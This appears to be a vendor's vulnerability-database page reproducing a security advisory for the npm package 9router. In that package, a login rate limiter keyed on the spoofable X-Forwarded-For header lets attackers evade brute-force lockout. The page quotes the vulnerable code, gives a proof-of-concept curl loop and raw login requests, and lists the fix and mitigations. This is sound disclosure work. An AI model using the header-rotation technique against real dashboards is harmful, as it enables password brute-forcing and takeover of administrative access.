Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-7cfm-pqrj-xgq7

HIGH

9router: Login brute-force protection bypass via spoofed X-Forwarded-For header

Also known asCVE-2026-55501
Published
Jul 6, 2026
Updated
Jul 6, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
📦9router

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

ComponentFileNote
Dashboard login rate limitersrc/lib/auth/loginLimiter.jsUses X-Forwarded-For as the client identity without a trusted-proxy check
Dashboard login routesrc/app/api/auth/login/route.jsCalls checkLock() and recordFail() using the spoofable client identity

Vulnerable Code

src/lib/auth/loginLimiter.js:

export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

  if (lock.locked) {
    return NextResponse.json(
      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
      { status: 429 }
    );
  }

  // ... password validation ...

  recordFail(ip);
}

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1 — Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

AttemptResponse
1Invalid password. 4 attempt(s) left before lockout.
2Invalid password. 3 attempt(s) left before lockout.
3Invalid password. 2 attempt(s) left before lockout.
4Invalid password. 1 attempt(s) left before lockout.
5Too many failed attempts. Try again in 30s.
6Too many failed attempts. Try again in 30s.

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2 — Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3 — Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":"<default-dashboard-password>"}

Observed response on a default installation:

HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router dashboard.
  2. The attacker sends repeated login attempts to /api/auth/login.
  3. For each attempt, the attacker changes the X-Forwarded-For header value.
  4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  5. The attacker can continue brute-force attempts without triggering the configured lockout.
  6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

  • Access configured provider credentials and API keys.
  • Change dashboard and authentication settings.
  • Disable login protection if the application allows it.
  • Create persistent API keys or other long-lived access tokens.
  • Modify application configuration.
  • Chain the access with other server-side functionality exposed by the dashboard.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm9routerall versions0.4.77

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update 9router to 0.4.77 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7cfm-pqrj-xgq7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7cfm-pqrj-xgq7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7cfm-pqrj-xgq7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The 9router dashboard login rate limiter derives the client identity from the attacker-controlled `X-Forwarded-For` HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the `X-Forwarded-For` value on each login attempt and receive a fresh rate-limit bucket every time. This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective. ## Details | Component | File | Note
O3 Security · Impact-Aware SCA

Is GHSA-7cfm-pqrj-xgq7 in your dependencies?

O3 detects GHSA-7cfm-pqrj-xgq7 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.